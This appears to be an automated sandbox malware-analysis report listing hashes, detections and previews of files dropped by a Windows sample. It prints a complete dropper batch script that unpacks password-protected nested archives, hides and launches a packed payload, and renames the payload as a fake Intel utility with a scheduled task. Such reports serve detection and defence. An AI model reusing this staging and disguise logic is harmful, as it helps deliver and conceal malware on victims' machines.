SHA1:	39E543E08B34311B82F6E909E1E67E2F4AFEC551
SHA-256:	EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
SHA-512:	C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
Malicious:	false
Preview:	PK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799902
Entropy (8bit):	7.997726708945573
Encrypted:	true
SSDEEP:	49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
MD5:	5EB39BA3698C99891A6B6EB036CFB653
SHA1:	D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
SHA-256:	E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
SHA-512:	6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
Malicious:	false
Preview:	PK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:	49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	false
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:	49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:	49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:	98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.410959089057151
Encrypted:	false
SSDEEP:	6:NeXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lyct0:NMf2RKQ1CGAFAjzvYRQVvt0
MD5:	B6B83E5030972CBD3B99077F9639FE8D
SHA1:	852C9AE4B2981A5B4571804444F47292D392AA8D
SHA-256:	CAAC8596AB1D08E6A9C464DA23C8C9C23D415DFFA47CD5FAD1A452BD3CA0BC71
SHA-512:	8AE3E01E64E10881615484CF5C79B4D61FB2FF1C818C4BE7C2DC9D306DF05541BAAB2D1A90A44D45F9789AC7496E7C66DDF7DD077DFB6601E30B656E8316EBD3
Malicious:	false
Preview:	....S...d.$@..-0. F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	364
Entropy (8bit):	5.023093563765204
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioBQypHSTgqF1AivwtHgNmtQF/qvpap1tNjtv:pMpDh5RwXSTgqFyYwzu5GA1tNp
MD5:	486E722058CDE6E929C88755EBAAED13
SHA1:	330E4200F447BAB7353AF4A126C274B315526F37
SHA-256:	93A130C773CE7DEADD2781A1A1A7C515424F1B7644EB9F367E68A88339FB38E1
SHA-512:	BF2C094562493795AB7CC67CB270FC9EA0D7FDD92DE7AE835DD9DE7ED6FFE2997BF584D09F8E5F13A5709660F7366FA086892352F2C99B43D8F590781AF0EBA5
Malicious:	false
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 1799594 bytes (1758 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 1799594.... 0%. .100% 1. .Everything is Ok....Size: 1827328..Compressed: 1799594..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.578146232644914
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'003'392 bytes
MD5:	838dfe4fdfe00acd5160ed5f7e5fe620
SHA1:	67c679c92a0fed7ebd5669645034988fcfc9c16d
SHA256:	a1aa2f3960356ac618995c25c51a91cabb963a878a45ac0213bbe5bc478772ef
SHA512:	70c5a95da4687e90e46d55174b854620bc448ee421b1b6007b3768025797dc41a550e9e33628ba146a00945f24c6ad9f220011a5227ee657e7d9b7c3525c7000
SSDEEP:	49152:uttBUV5eLR+wRRnPz8AMtO8OTBVqVkBXr35wLo:SwXaR+wRpz8AMtuT3LXT5wL
TLSH:	9BD53AD2A909B2CFD48A1774C527CE829D5D07FA4721C9D3E868B4BE7E67CC015B6C28
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x718000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F35A8E20C4Ah
lss ebp, dword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x4d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3166e0	0x10	opurfhmz
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x316690	0x18	opurfhmz
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	d31166188e2abfb4050a561580961657	False	0.9982384621934605	data	7.980080804551636	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x4d8	0x600	bc2cfc1f093eaac61e2d543377a7538d	False	0.359375	data	5.179173367867664	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
